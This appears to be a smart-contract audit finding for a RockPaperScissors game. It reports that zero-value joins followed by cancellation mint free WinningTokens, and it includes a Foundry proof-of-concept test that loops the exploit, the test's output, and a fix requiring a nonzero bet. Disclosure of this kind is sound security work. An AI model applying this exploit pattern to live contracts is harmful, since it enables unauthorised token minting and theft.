Summary
Malicious users can create games and cancel them intentionally to mint themselves an unlimited amount of WinningTokens.
Vulnerability Details
Games created with RockPaperScissors::createGameWithToken
function allow playerB to join for free by calling the RockPaperScissors::joinGameWithEth
with no value. If the creator of the game cancels the game, both players get minted 1 winningToken. To abuse this, a malicious user could:
Create a game using RockPaperScissors::createGameWithToken
as account1.
Join game using RockPaperScissors::joinGameWithEth
with no value as account2.
Cancel the game using RockPaperScissors::cancelGame
as account1.
Both account1 and account2 are minted 1 WinningToken.
Paste the following test into the test suite:
function testCancelGriefingAttackLoop() public {
console2.log("playerA token balance before: ", token.balanceOf(playerA));
console2.log("playerB token balance before: ", token.balanceOf(playerB));
for (uint256 i = 0; i < 50; i++) {
vm.startPrank(playerA);
token.approve(address(game), 1);
gameId = game.createGameWithToken(TOTAL_TURNS, TIMEOUT);
vm.stopPrank();
vm.startPrank(playerB);
game.joinGameWithEth{value: 0}(gameId);
vm.stopPrank();
vm.startPrank(playerA);
game.cancelGame(gameId);
vm.stopPrank();
}
console2.log("playerA token balance after: ", token.balanceOf(playerA));
console2.log("playerB token balance after: ", token.balanceOf(playerB));
}
The output is:
Ran 1 test for test/RockPaperScissorsTest.t.sol:RockPaperScissorsTest
[PASS] testCancelGriefingAttackLoop() (gas: 10477588)
Logs:
playerA token balance before: 10
playerB token balance before: 10
playerA token balance after: 10
playerB token balance after: 60
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 15.43ms (6.02ms CPU time)
Ran 1 test suite in 67.31ms (15.43ms CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)
Impact
A malicious user could mint themselves an unlimited amount of tokens.
Tools Used
Manual review
Recommendations
Require game.bet > 0
when calling RockPaperScissors::joinGameWithEth
.
function joinGameWithEth(uint256 _gameId) external payable {
Game storage game = games[_gameId];
require(game.state == GameState.Created, "Game not open to join");
require(game.playerA != msg.sender, "Cannot join your own game");
require(block.timestamp <= game.joinDeadline, "Join deadline passed");
+ require(game.bet > 0, "Bet amount cannot be zero");
require(msg.value == game.bet, "Bet amount must match creator's bet");
game.playerB = msg.sender;
emit PlayerJoined(_gameId, msg.sender);
}